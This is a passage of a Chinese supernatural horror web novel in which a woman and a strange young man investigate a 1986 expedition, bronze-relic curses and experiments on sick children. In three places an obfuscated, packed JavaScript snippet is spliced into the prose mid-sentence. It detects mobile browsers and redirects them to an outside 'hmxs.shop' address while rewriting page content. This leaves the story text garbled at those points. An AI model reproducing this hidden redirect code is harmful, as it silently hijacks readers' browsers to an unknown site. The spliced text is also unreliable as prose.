檀九重一愣。确实,其他名字都是‘檀九重’在前,唯独1943年那组是‘裴子晏’在前。这意味着什么? “有人来了。”裴子晏突然拉着她躲到建材堆后面。 一束手电光由远及近。包老三带着几个人鬼鬼祟祟地来到坑边,手里提着...一盏新的血灯笼! “快点!”包老三催促道,“错过时辰就完了!” 一个瘦小的女孩被推到坑边,看起来十二三岁,苍白得不像话。她穿着病号服,手腕上还有输液留下的淤青。 “爸爸...”女孩声音发抖,“真的能治好我的病吗?” 包老三的表情扭曲了一瞬:“丫丫乖,站到灯笼下面去。医生说了,这种特殊光照治疗...” 檀九重瞬间明白了——这女孩是包老三的女儿,患了绝症,被父亲骗来接受‘灯笼治疗’。但更令她震惊的是,当灯笼的光照在女孩身上时,女孩裸露的皮肤开始浮现出符文...与裴子晏身上的一模一样! “住手!”檀九重冲了出去,“那灯笼会要她的命!” 包老三大惊失色:“你怎么还活着?!”他一把抱住女儿,“别过来!这是唯一的办法...医院说她最多还有三个月...” “那也不能用邪术!”檀九重指着灯笼,“知道那光是什么吗?是死人的血气!” 裴子晏悄无声息地出现在包老三身后,一个手刀打晕了他。女孩吓得瘫坐在地,裴子晏蹲下身,轻声问:“每晚都来?” 女孩点头:“已经...七天了。” 裴子晏的表情变得异常严肃。他掀起自己的衣领,露出锁骨下方的铜钱:“看到这个了吗?七天后,你会开始咳血,然后是咳出黑色的丝线...” 女孩瞪大眼睛:“你怎么知道?医生说我最近肺部确实有...” “因为这是‘替身咒’的前兆。”裴子晏的声音很轻,却带着不容置疑的力量,“你父亲被骗了。这灯笼不是在治病,是在把你变成...下一个我。” 檀九重如遭雷击。难道这就是父亲实验的真相?不断寻找新的‘容器’,将绝症患者改造成‘裴子晏’这样的存在? “我们得带她走。”檀九重果断道,“去找阿青,她或许有办法清除那些符文。” 裴子晏却摇头:“没用的,咒术已经深入骨髓。”他看向女孩的眼神带着某种悲哀的共鸣,“但我可以教你怎么...共存。” 就在这时,青铜簋突然发出刺耳的嗡鸣。簋身上的名字一个接一个亮起红光,最后停在1943年那组上。更诡异的是,泥土中钻出之前裴子晏吐出的那些黑丝,它们在空中组成一行字: ‘第七夜,双子归位。’ 裴子晏脸色大变:“来不及了...”他一把抓住檀九重的手,“学姐,我们得立刻回千棺葬!” “为什么?” “因为...”裴子晏的竖瞳在月光下收缩成一条细线,“1943年的‘我们’...要醒了。” 27. 双影咒 黎明前的千棺葬笼罩在血色薄雾中。 檀九重跟在裴子晏身后,看着他右肩上那盏自制的灯笼——用工地带出来的材料临时拼凑,里面燃烧的不是蜡烛,而是从他伤口取出的黑血。火光透过浸过草药的纱布,在地上投下诡异的青色光晕。 “还有多远?”檀九重压低声音问。自从离开工地,裴子晏的状态越来越不稳定,左眼完全变成了血红色,说话时偶尔会冒出两个重叠的声音。 裴子晏停下脚步,竖瞳在黑暗中收缩:“就在前面...但学姐最好别碰任何东西。”他指了指自己太阳穴,“那些记忆...会咬人。” 雾气散开的刹那,檀九重倒吸一口冷气——山谷中央的空地上,七具黑棺围成一圈,棺盖全部打开,里面空空如也。而更令人毛骨悚然的是,每具棺木上方都悬浮着一盏血灯笼,与他们在工地见到的一模一样。 “这是...” “仪式现场。”裴子晏的声音突然变得异常苍老,“1986年7月7日,檀教授在这里进行了第一次‘双子转换’。” 檀九重从包里取出便携式光谱仪——这是她离开栖梧阁前特意带的,用来分析文物成分。她小心地采集了一点灯笼纸的样本,仪器很快给出结果:材料为人皮,但掺杂了纸质纤维...是1986年的报纸! “《漠河日报》...”她调整仪器分辨率,“报道阴山考古队失踪...等等,这里有个名单!” 裴子晏凑过来,灰白的左眼映出屏幕上模糊的字迹:“考古队成员...檀明远、杜...后面的看不清了。” 檀九重继续操作仪器,突然僵住了——在报纸残片的边缘,隐约可见半张照片。虽然模糊,但她一眼认出那是年轻时的父亲,怀里抱着个五六岁的男孩。照片下方写着:“...生还者安置在...” “学姐。”裴子晏突然抓住她的手腕,“有人来了。” 雾气中走出一个瘦小的身影——是包老三的女儿丫丫!女孩脸色比昨晚更加苍白,病号服上沾满泥土,像是走了很远的路。她怯生生地递过一个牛皮纸信封:“姐姐...这个给你...” 檀九重警惕地接过信封:“你怎么找到这里的?” “灯笼...”丫丫指向自己胸口,那里的皮肤上浮现出与裴子晏相似的符文,“它们...叫我来的。” 裴子晏突然剧烈颤抖起来,左眼流下血泪:“走...快走...”他的声音分裂成两个声调,“她身上有...引魂符...” 丫丫却上前一步,抓住檀九重的手:“照片...很重要...”她的瞳孔突然变成与裴子晏一样的竖瞳,“爸爸...不是坏人...他被骗了...” 雾气骤然变浓。等檀九重回过神来,丫丫已经消失不见,只留下那个信封在她手中。 “先离开这里。”裴子晏拽着她向山谷高处移动,“血月要来了...到时候整个千棺葬都会‘活’过来...” 他们在半山腰找到一个岩洞。洞壁上有明显的人工开凿痕迹,地上散落着锈蚀的工具和...几具穿着80年代工装的干尸。 “考古队的?”檀九重蹲下身检查,“不对...这些人是被活埋的。”她指着一具尸体的手,“指甲全部翻折,死前拼命抓挠过洞壁。” 裴子晏没有回答。他站在岩洞深处,面对着一面刻满符文的石壁,身体微微发抖。檀九重走近才发现,石壁上用血画着七个同心圆,每个圆环内都刻着名字——最内环是‘檀明远’,往外依次是六个不同的名字,最外环赫然是‘裴子晏’! “七重转换...”裴子晏的声音带着回声,“檀教授不是第一个...也不会是最后一个...” 檀九重刚要追问,地面突然震动起来。岩洞外,血色的月亮从云层中露出,月光照射下的千棺葬发生了恐怖的变化——那些悬棺全部自行摇晃起来,棺木下方伸出无数苍白的手! “血月现形...”裴子晏的瞳孔缩成一条细线,“学姐,无论看到什么都别出声...” 月光透过岩洞缝隙,在地上投下斑驳的光影。檀九重惊恐地发现,在血月照射下,她和裴子晏的影子...变成了两个!她的第二个影子比本体矮小许多,像个孩童;而裴子晏的第二个影子则扭曲变形,时而呈现穿长衫的民国青年形象,时而变成无面孩童。 “魂影...”裴子晏艰难地解释,“鄂温克族认为...每个人都有两个影子,一个是今生,一个是前世...” 话音未落,他的身体突然痉挛,左半边脸迅速爬满青筋:“不...不要现在...”他跪倒在地,右手死死掐住自己的左手腕,”学姐...离我远点...” 檀九重不但没退后,反而一把抱住他:“撑住!” “啊——!”裴子晏发出一声不似人类的嚎叫。他的左手五指突然扭曲变形,指甲暴长,狠狠抓向檀九重的咽喉! 千钧一发之际,裴子晏的右手从腰间抽出匕首,毫不犹豫地斩断了自己左手小指!断指落在檀九重掌心,瞬间化为黑灰,灰烬中浮现出细小的金色符文。 “没事了...”裴子晏虚弱地笑了笑,断指处没有流血,而是冒出丝丝黑气,“暂时...压制住了...” 檀九重盯着掌心的灰烬,那些符文逐渐组成一个熟悉的形状——是青铜簋上的纹路!她突然明白了什么,从包里取出丫丫给的信封。 里面是一张泛黄的老照片:1986年某孤儿院的集体照。二十多个孩子站在台阶上,后排最边上...赫然是穿着现代卫衣的裴子晏!他看起来与现在一模一样,正对着镜头微笑,而其他孩子都表情呆滞。 照片背面写着:“第七批实验体初选,丙寅年五月初五。” “这不可能...”檀九重声音发颤,“1986年你怎么可能...” 裴子晏没有回答。他的目光落在照片角落——一个穿白大褂的男子背影,正牵着个小女孩离开画面。女孩回头张望的侧脸...分明是幼年的檀九重! “学姐...”裴子晏的声音突然变得异常平静,“你记得自己五岁前的记忆吗?” 檀九重如遭雷击。确实,她对五岁前的记忆非常模糊,父亲解释说是因为她发过高烧。但如果...那些记忆被刻意抹去了呢? 岩洞外传来指甲抓挠石壁的声音。檀九重警觉地抬头,只见洞口处挤满了苍白的手臂,那些从悬棺中爬出的‘东西’正在寻找他们! “没时间了...”裴子晏挣扎着站起来,“我们得去主墓室...只有血月当空时才能打开...” “去送死吗?”檀九重指着洞外那些手臂,“外面至少有几十个那种东西!” 裴子晏突然笑了,酒窝在苍白的脸上显得格外刺目:“学姐忘了吗?”他指了指自己血红的左眼,“我也是‘那种东西’啊...” 不等檀九重阻止, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她掀开自己的病号服,肚皮上浮现出完整的符文阵——与青铜簋内壁的纹路一模一样!更恐怖的是,那些符文正在渗血,血滴落在地面后竟自行流向黑棺,在棺前汇成七个字: “子时到,魂归位” 裴子晏脸色大变:“学姐...最后的机会...”他抓住檀九重的手,“杀了我...或者...” 话未说完,他的身体突然僵直,双眼完全变成血红色。一个完全陌生的声音从他口中传出: “九重...我等你...很久了...” 这不是裴子晏的声音。檀九重惊恐地后退一步,看着‘裴子晏’的身体开始扭曲变形,皮肤下有什么东西在蠕动,像是要破体而出... 丫丫突然尖叫起来,她肚皮上的符文全部亮起红光:“他来了!真正的‘第七号’来了!” 血月在这一刻达到最亮。整个千棺葬的悬棺同时发出敲击声,像是某种诡异的倒计时。而黑棺中的青铜簋自动立起,内壁符文投射到空中,组成一个巨大的阵图——中央赫然是檀九重和裴子晏的名字! “学姐...快走...”裴子晏的本音短暂夺回控制权,“他要...占据我的身体...” 檀九重反而上前一步,抽出青铜匕首抵住裴子晏的心口:“不。”她的声音冷静得可怕,“这次我们一起面对。” 匕首尖触碰到那枚缝在心脏位置的铜钱时,整个山谷突然寂静了一秒。然后,地底传来一声悠长的、像是从远古时代传来的叹息... 28. 高热谵 青铜匕首触碰到铜钱的瞬间,整个千棺葬陷入了绝对寂静。 裴子晏的身体像被按下暂停键,所有动作凝固在匕首刺入前的一刻。丫丫的尖叫声卡在喉咙里,血月的光似乎也被冻结在半空。檀九重甚至能看清悬浮在空气中的每一粒尘埃。 然后世界重新开始运转——以十倍的速度。 裴子晏的身体如断线木偶般倒下,黑棺中的青铜簋炸成碎片,山谷中所有悬棺同时闭合。最骇人的是那些从棺中伸出的手臂,它们齐刷刷指向血月,然后像燃尽的香灰般消散。 “裴子晏!” 檀九重接住他下坠的身体,触手的温度烫得惊人。裴子晏的皮肤下浮现出密密麻麻的符文,像是有无数蚂蚁在皮下爬行。他的左眼完全变成了血红色,右眼瞳孔扩散,呼吸微弱到几乎停止。 “姐姐...快走...”丫丫拽着她的衣角,“第七夜...要结束了...” 檀九重背起裴子晏向谷外冲去。青年的身体轻得不可思议,仿佛骨骼已经变成中空的。更奇怪的是,尽管他浑身是伤,却没有一滴血流出——那些伤口像干涸的河床,翻卷的皮肉呈现诡异的灰白色。 他们回到临时营地时,天边已经泛起鱼肚白。阿青正在熬药,看到他们立刻迎上来:“怎么了?!” “高烧,伤口感染...不确定。”檀九重将裴子晏放在简易床铺上,“帮我准备凉水和朱砂。” 当掀开裴子晏的衣服时,阿青倒吸一口冷气——他胸腹部的缝合线全部崩开,露出里面蠕动的黑色丝线。最严重的是心口位置,那枚铜钱周围的皮肤已经溃烂,露出下面青灰色的...那绝对不是人类该有的肌肉组织。 “这...不是感染。”阿青颤抖着递过毛巾,“没有任何细菌能造成这种...” 檀九重已经拿出医药包里的电子体温计。读数跳出来时她差点摔了仪器——42.3度!这个温度足以让普通人脑损伤,而裴子晏居然还有意识! “冷...”裴子晏突然抓住她的手腕,力道大得惊人,“学姐...好冷...” 他的皮肤烫得能灼伤人,嘴里却喊着冷。檀九重翻开他的眼皮检查瞳孔,却发现一个诡异现象——左眼瞳孔是细长的竖线,右眼却是完全扩散的圆形,像是两个不同生物的眼睛被强行拼在一起。 “阿青,记录体温变化。”檀九重取出银针包,“我要试试封穴退烧。” 银针刺入穴位的过程像在扎一块朽木——没有正常肌肉的弹性,针尖甚至发出轻微的“咔咔”声。当第七根针落在膻中穴时,裴子晏突然弓起身子,用一种完全陌生的语言念出一段咒文。 檀九重的手僵在半空。这是檀家秘传的‘镇魂咒’,只有嫡系血脉才能学习!父亲曾说过,这种咒文必须配合特定的血脉频率才能生效,外人即使知道发音也无用... “学姐?”阿青小声问,“怎么了?” “没什么。”檀九重收起震惊,继续施针,“去查查当地县志,1986年阴山考古队的资料。” 阿青离开后,檀九重开始整理裴子晏的随身物品。除了那把骨刀和几枚厌胜钱,最引人注目的是一个小木盒,里面装着七片不同颜色的碎布,每片布上都用血写着一个日期——从1943年到1986年,正好是七个时间节点。 盒底还藏着一张折叠的纸条,上面是裴子晏工整的字迹: “当学姐发现这个时,我可能已经''失控''了。记住,无论我说什么、做什么,都不是真正的''我''。铜钱是最后的保险栓,如果它开始发烫,立刻用青铜匕首刺穿它。不要犹豫。——子晏” 纸条背面画着简易示意图:铜钱中心被标记为‘门’,周围环绕着七个点,连起来正好是北斗七星形状。 帐篷外传来脚步声。檀九重迅速藏好纸条,看到包老三探头探脑地站在门口,手里提着个保温桶。 “那个...”他搓着手,“听说裴先生病了...我闺女让送点药粥来...” 檀九重冷眼看他:“不怕我们了?” 包老三苦笑:“丫丫都告诉我了...你们不是来盗墓的。”他放下保温桶,声音突然压低,“我爹...是86年考古队的向导。” 这个信息像闪电劈开迷雾。檀九重猛地站起来:“你知道什么?” “不多...”包老三的眼神飘向昏迷的裴子晏,“只记得那天晚上...七月七,我爹带着考古队进山,说是要看什么‘天象’。第二天只有檀教授一个人回来,怀里抱着个孩子...” “孩子?” “五岁左右,病恹恹的。”包老三比划着,“右手腕有个胎记,像个月牙...” 檀九重如坠冰窟。五岁...右手腕月牙胎记...这不正是裴子晏的特征?但时间对不上——如果1986年裴子晏五岁,现在应该四十多岁,而不是二十出头的模样! “那孩子后来呢?” 包老三摇头:“檀教授带走了。半个月后,村里收到通知,说那孩子在县医院病死了...”他掏出一张皱巴巴的纸,“这是死亡证明复印件,我爹偷偷留下的。” 泛黄的纸上清晰写着:“裴子晏,男,5岁,死于急性白血病,1986年7月15日。”右下角盖着县医院的公章,还有...父亲的签名! “你为什么要帮我们?”檀九重警惕地问。 包老三的表情突然变得复杂:“我爹临死前说...那晚他看到的东西,不该存在于世。”他指了指裴子晏,“但他说,如果有一天看到一个右腕有胎记、左眼灰白的年轻人回来...要尽力帮他...” “因为?” “因为那孩子...救了我爹的命。”包老三的声音更低了,“虽然我爹最后还是死于怪病...全身血液变成黑色丝线...” 帐篷内突然响起一阵剧烈的咳嗽声。裴子晏正挣扎着要坐起来,口中不断吐出黑色丝线,那些丝线落地后竟自行组成一个个微小的符文! “学姐...”他的声音嘶哑得不成样子,“月相...记录月相...” 檀九重立刻明白了他的意思。她翻开这三天的医疗记录,果然发现一个规律——裴子晏的体温变化与月亮盈亏完全同步!满月时高达42度,月亏时降到35度以下,完全违背人体生理规律。 “你不是人类。”这不是疑问句。 裴子晏虚弱地笑了笑:“学姐现在才确定?”他试图抬起右手,却发现手指已经开始干枯,“时间不多了...第七夜只是开始...” “什么意思?” “真正的周期...是七年。”裴子晏的左眼流下一行血泪,“从1986到1993...再到2000...每七年一次‘归位’...”他突然剧烈咳嗽起来,“今年是2023...” 七年一个周期。檀九重迅速计算:1986、1993、2000、2007、2014、2021...今年确实是第七个周期!但为什么是七年? “北斗...”裴子晏似乎读懂了她的疑惑,“七星...七年...七个...” 他的话被又一阵咳嗽打断。这次吐出的不只是黑丝,还有小块的内脏碎片!檀九重急忙扶住他,却发现他的体温正在急剧升高——电子体温计发出警报,读数已经突破43度! “银针...”裴子晏痛苦地蜷缩起来,“檀家的...镇魂针法... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571112|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 檀九重立刻取出最长的那根银针,蘸了朱砂后直接刺入他的百会穴。裴子晏发出一声不似人类的尖啸,身体弓成不可思议的角度,然后重重摔回床铺。 就在他陷入昏迷前的最后一刻,突然抓住檀九重的手腕:“九重...那年你给我的韭菜饺子...好苦...” 檀九重浑身冰凉。她从未做过韭菜饺子给任何人...更别说裴子晏! 包老三突然惊呼:“看他的影子!” 月光透过帐篷,在地上投下清晰的影子——裴子晏的影子竟然一分为二!一个保持人形,另一个则是模糊的孩童轮廓。更恐怖的是,两个影子正在互相撕扯! “双魂一体...”包老三颤抖着后退,“我爹说过...考古队要找的就是这个...” 檀九重强迫自己冷静下来。她掰开裴子晏的嘴,将一块软木塞进去防止他咬伤舌头,然后开始系统检查:心跳200次/分,呼吸浅快,皮肤出现大片尸斑...这根本不是普通的高热,而是某种...能量过载? 阿青匆匆跑进来:“查到了!1986年考古队有七个人,但官方记录只有六具尸体...”她递过一沓资料,“最奇怪的是这个——” 那是一张发黄的名单,记录着考古队成员信息。在‘檀明远’的名字旁边,用红笔画了个奇怪的符号,旁边写着:“携带实验体7号,需特殊看护”。 “实验体7号...”檀九重看向昏迷的裴子晏,“所以父亲当时带去考古现场的‘孩子’,不是普通儿童,而是...实验体?” 阿青又递过一张照片:“还有更奇怪的...” 照片上是年轻时的父亲站在某个实验室里,身边围着七个孩子。最边上那个低头摆弄衣角的男孩,右手腕隐约可见月牙形胎记!照片日期是1986年6月——考古行动前一个月。 “这些孩子...” “都是白血病患者。”阿青指着照片背面的医疗记录,“自愿参加某种‘实验性治疗’...但七个人里...”她的声音发抖,“六个在考古队失踪事件后一个月内相继死亡,只有...” “裴子晏活下来了。”檀九重接上她的话,“或者说...活下来的是‘裴子晏’这个名字代表的东西。” 帐篷外突然传来丫丫的尖叫声。三人冲出去,看到骇人一幕——小女孩站在月光下,肚皮上的符文全部亮起红光,组成一个与青铜簋内壁完全相同的图案! 而更令人毛骨悚然的是,她正在用某种古老的语言吟诵着什么,声音完全不像个孩子... “北斗归位...七星连珠...”包老三脸色惨白,“我爹死前...也这样念叨过...” 檀九重突然明白了七年周期的含义——每七年,北斗七星会回到近似的位置,而这个时候...‘门’最容易打开。 裴子晏不是病人。他是‘门’的一部分。 她冲回帐篷,掀开裴子晏的衣领——心口那枚铜钱正在发烫,周围的皮肤已经焦黑。而更恐怖的是,铜钱孔中穿着的‘线’根本不是物理存在的线,而是从他心脏里长出来的血管状组织! “学姐...”阿青惊恐地问,“现在怎么办?” 檀九重取出青铜匕首,想起裴子晏纸条上的指示。但当她举起匕首时,手却不受控制地颤抖——这一刀下去,会杀死裴子晏,还是释放他体内的‘东西’? 就在这时,裴子晏突然睁开眼睛——左眼血红,右眼灰白,瞳孔都变成了细长的竖线。他露出一个从未有过的、令人毛骨悚然的微笑: “阿月...你长大了...” 这个称呼让檀九重如遭雷击——只有母亲会这样叫她! 29. 同名尸 “阿月...你长大了...” 这个称呼像一桶冰水浇在檀九重头上。她僵在原地,青铜匕首离裴子晏心口的铜钱只有一寸之遥。 “你不是裴子晏。”她声音发紧,“你是谁?” ‘裴子晏’歪了歪头,这个动作在平时会显得俏皮,此刻却诡异得令人毛骨悚然。他的左眼完全变成了血红色,右眼灰白,两只竖瞳在昏暗的帐篷里像猫科动物般反光。 “我当然是子晏啊。”他用一种哄孩子的语气说,声音却苍老得像是七八十岁的老人,“只不过...是比之前的他更完整的那个。” 帐篷外传来阿青和包老三的惊呼声。檀九重用余光瞥见丫丫肚皮上的符文已经蔓延到胸口,小女孩正用一种完全不属于儿童的沉稳步伐向他们走来。 “学姐...”阿青在帐篷外大喊,“月亮...月亮变黑了!” 檀九重一把掀开帐篷门帘——血月正在被某种阴影吞噬,不是普通的月食,而是像被无形的手一点点抹去!更恐怖的是,随着月光减弱,裴子晏的状态似乎越来越‘稳定’,皮肤下的符文逐渐隐去,呼吸也变得规律。 “原来如此...”檀九重突然明白了什么,“你的力量来自血月!” ‘裴子晏’咯咯笑起来,声音忽高忽低:“聪明的孩子...不愧是阿檀的女儿。”他慢慢坐起身,动作流畅得不像是刚刚还高烧昏迷的人,“但你知道吗?月光只是‘门’的投影...真正的力量来源是...” 他的话被一阵剧烈的咳嗽打断。这次吐出的不是黑丝,而是某种闪着金属光泽的碎片——青铜碎片! 檀九重眼疾手快地用镊子夹起一块,在灯光下仔细观察。碎片边缘有规律的纹路,与青铜簋上的符文完全一致。而更令她心惊的是,这碎片的大小和形状,正好能拼合她在县公安局档案室看到的照片... 三天前,她偷偷潜入县局,翻出了1986年‘裴子晏’死亡的档案。尸检报告上清清楚楚写着:“心腔内发现青铜碎片若干,疑为陪葬品误吞”。当时她以为只是考古现场的意外,现在看来... “你心口的铜钱下面是什么?”她突然问。 ‘裴子晏’的笑容僵了一瞬:“学姐猜猜看?”他慢慢解开衣领,露出那枚缝在皮肤上的铜钱,“不如...你自己看看?” 檀九重没有动。直觉告诉她,这很可能是个陷阱。但真相就在眼前... “不敢吗?”‘裴子晏’叹息一声,“那我来帮你。”他的指甲突然变长变尖,直接刺入铜钱周围的皮肤! 没有血流出。就像撕开一个早已愈合的旧伤,皮肤下露出的是...青灰色的金属光泽。那是镶嵌在心脏表面的青铜碎片,与1986年尸检报告描述的完全一致! “借命葬...”檀九重喃喃道。她想起父亲笔记中提到的蒙古族秘术——将死者的遗骨与特定金属融合,埋入活人体内,可"借"活人阳寿延续死者魂魄。 ‘裴子晏’赞许地点头:“阿檀确实教了你不少。”他的手指轻抚心口的青铜,“只不过...这不是普通的''借命'',而是‘借尸还魂’的升级版...” 帐篷外突然传来丫丫的尖叫声:“他来了!真正的‘第七夜’来了!” ‘裴子晏’脸色大变,一把推开檀九重:“走!立刻离开这里!”他的声音又变回了熟悉的声线,“去县福利院...找1986年的档案...快!” 说完这句话,他的眼睛翻白,整个人抽搐着倒下。与此同时,帐篷外传来重物坠地的声音——丫丫也昏倒了,肚皮上的符文迅速褪去。 月光重新洒落,血月已经恢复正常。但檀九重知道,某种更可怕的东西正在接近... --- 县福利院是栋破旧的三层小楼,墙皮剥落,铁栅栏锈迹斑斑。檀九重假扮成民政局的调查员,轻易获得了查阅档案的权限。 “1986年的档案?”满头白发的老院长推了推老花镜,“那个年份的档案都在地下室...不过大部分都受潮了。” 地下室比想象中干燥,但弥漫着一股奇怪的药水味。档案柜排列得像停尸间的冷藏柜,让檀九重莫名不适。 “裴子晏...”她翻阅着发黄的名册,“在这里!” 登记表上贴着张褪色的一寸照——一个瘦弱的男孩,大眼睛里满是惊恐。最引人注目的是他右手腕的月牙形胎记,与现在的裴子晏一模一样。表格下方写着:“1986年7月10日由檀明远领养”。 但奇怪的是,领养记录后的健康状况栏被涂黑了,只在边缘处能看到几个字母:“D.O.A”——到院时已死亡?! “找到需要的了吗?”老院长突然出现在身后,吓得檀九重差点叫出声。 “这个孩子...”她指着裴子晏的资料,“后来怎么样了?” 老院长的表情变得古怪:“你说小晏啊...可怜的孩子,来的时候就已经...”她突然压低声音,“你真的是民政局的人吗?” 檀九重立刻意识到自己可能暴露了:“我是他...远房亲戚。想了解一下他的去向。” “亲戚?”老院长冷笑,“那你知道小晏从来没人领养吗?”她指向档案室深处,“他一直在停尸间...从1986年到现在...” 檀九重后背发凉:“什么意思?” 老院长转身走向档案室最里侧,打开一个上锁的抽屉:“每年七月七,我们都要给他换新被褥...虽然那孩子从来不会长大...” 抽屉里是一本相册,翻开第一页就让檀九重如坠冰窟——从1986年到2023年,每年一张照片,全是同一个孩子躺在停尸床上的画面!男孩约莫五岁,右手腕有月牙胎记,面容安详得像睡着了。而最近的照片日期是...三天前! “这不可能...”檀九重声音发抖,“我认识一个和他长得一模一样的成年人...” 老院长突然笑了,露出残缺的牙齿:“姑娘,你看到的是‘活着的’那个吧?”她凑近檀九重,呼吸带着腐臭味,“每年七月七,都会有人来借走小晏...第二天再送回来...” 檀九重猛地站起来:“谁?谁来借他?” “穿白大褂的...有时候是檀医生,有时候是别人...”老院长的眼神变得恍惚,“他们总说‘实验还需要调整’...” 离开福利院时,檀九重的手机响了。是阿青发来的消息:“裴哥醒了,但有点奇怪...他说不记得发生了什么。” 檀九重握紧方向盘。不记得?还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608118|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假装不记得? --- 医院的走廊灯光惨白。檀九重在病房门口停下,透过小窗观察里面的裴子晏——他正坐在床上画画,动作流畅自然,完全不像昏迷多日的人。 推门进去的瞬间,檀九重就察觉到了异样。裴子晏抬头时,眼神有一秒的陌生,随即又恢复了那种熟悉的、带着几分惫懒的笑意。 “学姐...”他的声音有些沙哑,“我这是...怎么了?” 檀九重不动声色地观察他:“你不记得了?” 裴子晏揉了揉太阳穴:“只记得我们在千棺葬...然后...”他露出痛苦的表情,“一片空白。” 装得真像。檀九重心想。如果不是亲眼看到福利院的照片,她几乎要被骗过去了。 “你画的是什么?”她指了指床头的素描本。 裴子晏随手递过来:“不知道...随手乱画的。” 纸上是一间儿童卧室的平面图,精确到令人发指——不仅是家具摆放,连墙壁厚度和电路走线都标注得一清二楚。而最令檀九重心惊的是,图中标记了一个隐藏的密室,位置与她童年卧室里那个(早已被拆除的)完全一致! “这个房间...”她假装随意地问,“是你设计的?” 裴子晏歪头看了看:“不知道...就是觉得该这么画。”他忽然指着图中某个角落,“这里原来有张摇椅对吧?你三岁时从上面摔下来,额角留了个疤...” 檀九重的手指无意识抚上额角的旧伤。这件事她从没对任何人说过,连父亲都不知道是她自己调皮导致的! “还有...”裴子晏继续道,“密室里的那些玻璃罐...你七岁那年打碎了一个,里面的液体让你的手...” 檀九重猛地抓住他的手腕:“你到底是谁?”她的指甲深深陷入他的皮肤,“那些事发生时,‘裴子晏’应该已经死了!” 裴子晏的表情凝固了。片刻后,他露出一个苦涩的微笑:“学姐...终于发现了吗?” 檀九重从口袋里掏出一样东西——她在裴子晏换下的衣服里找到的糖果纸,1986年生产的‘大白兔’奶糖,已经泛黄发脆。 “这上面的指纹...”她声音发紧,“是我父亲的。” 裴子晏的眼神突然变得异常清明:“学姐有没有想过...”他轻声问,“为什么你五岁前的记忆那么模糊?” 檀九重如遭雷击。确实,她对童年的记忆从五岁后才连贯起来,之前只有零碎片段。父亲说是高烧导致的记忆缺失... “因为1986年7月7日...”裴子晏的声音突然变得异常苍老,“死的不仅是‘裴子晏’...” 他的话被突然响起的警报声打断。医院广播开始紧急疏散,走廊传来慌乱的脚步声。阿青冲进来:“檀姐!福利院...福利院着火了!” 檀九重转头看向窗外——远处升起滚滚浓烟,正是福利院的方向。而更诡异的是,烟雾中隐约可见七盏血红色的灯笼,排列成北斗七星形状! 裴子晏不知何时已经站在窗边,背对着她们。月光透过病号服,照出他体内...不止一副骨骼的轮廓! “来不及了...”他的声音带着回声,“‘他’已经找到这里了...” 30. 镜中人 医院走廊的警报声刺得人耳膜生疼。 檀九重看着裴子晏站在窗边的背影,月光穿透他单薄的病号服,勾勒出体内两副重叠的骨骼轮廓——一副是正常成年人的,另一副则像是...孩童的骨架。 “檀姐!”阿青拽着她的手臂,“必须走了!福利院那边——” “你们先走。”檀九重从医疗推车上顺了一把手术刀藏在袖中,“我马上跟上。” 阿青和包老三犹豫了一下,还是带着丫丫离开了。病房门关上的瞬间,裴子晏的肩膀微微放松,像是卸下了某种伪装。 “学姐还是这么敏锐。”他的声音恢复了平常的轻快,只是多了几分疲惫,“看到多少了?” 檀九重没有直接回答,而是从包里取出两面小镜子,将它们背对背固定,做成一个简易的双面镜装置:“做个实验。” 医学上有个冷知识:活人照镜子时,左眼会比右眼快0.3秒做出反应;而死人则相反。这是大脑左右半球处理视觉信息的差异导致的。 “看着镜子。”她将装置放在裴子晏面前,“不要思考,直接做表情。” 裴子晏挑了挑眉,但还是配合地看向镜面。檀九重数了三下,突然举起手术刀—— 正常情况下,人会在镜中看到刀光的瞬间眨眼或躲闪。但裴子晏的反应让檀九重后背发凉:他的左眼瞳孔迅速收缩,右眼却慢了半拍;更恐怖的是,镜中映出的表情与实体完全不同——左眼冷漠苍老,右眼痛苦年轻,像是两个不同的人被强行拼在一张脸上! “满意了吗?”裴子晏苦笑着问,声音里带着回声,“还是说...学姐需要更直接的证据?” 他忽然扯开病号服,露出心口那枚铜钱。在月光照射下,铜钱周围的皮肤变得半透明,能清晰看到下面跳动的不是人类心脏,而是一个由青铜碎片拼成的机械结构,碎片之间由黑色丝线连接,随着‘心跳’蠕动! “这是...” “‘门’的碎片。”裴子晏轻触铜钱,“1986年那个孩子吞下的青铜簋碎片...檀教授把它们植入我体内,作为‘锚点’。” 檀九重想起县局档案里尸检报告的记载——“心腔内发现青铜碎片若干”。原来父亲不是清理了那些碎片,而是...回收利用了? “学姐想看看更完整的真相吗?”裴子晏突然问,“杜十娘的镜子...我找到使用方法了。” 他从枕头下摸出一块巴掌大的铜镜,镜面已经氧化发黑,边缘刻着与青铜簋相同的符文。最奇怪的是,镜子背面嵌着一小块玻璃,里面封存着...一滴血? “达斡尔族的‘镜卜术’。"裴子晏将镜子递给檀九重,“需要被照者的血。” 